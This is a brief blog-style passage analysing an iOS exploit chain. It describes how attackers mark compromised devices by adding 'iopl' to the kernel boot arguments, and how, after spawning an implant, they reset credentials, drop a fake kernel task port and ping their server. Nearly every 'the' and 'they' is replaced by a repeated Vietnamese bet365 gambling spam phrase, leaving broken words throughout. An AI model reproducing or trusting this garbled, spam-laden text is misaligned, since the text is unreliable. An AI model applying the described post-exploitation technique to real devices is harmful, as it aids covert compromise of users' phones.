Specifically cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y overwrite cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 boot arguments, passed by iBoot to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 booting XNU kernel. This string can be read from inside cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 MobileSafari renderer sandbox. They add cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 string "iopl" to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bootargs, and at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 start of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel exploit cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bootargs and check for this string. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y find it, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n this device has already been compromised and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y don't need to continue with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit.

After posix_spawn'ing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant binary cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y sleep for 1/10th of a second, reset cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir ucreds, drop cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir send right to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fake kernel task port, ping a server that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y launched cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant and go into an infinite sleep.

No comments:

Post a Comment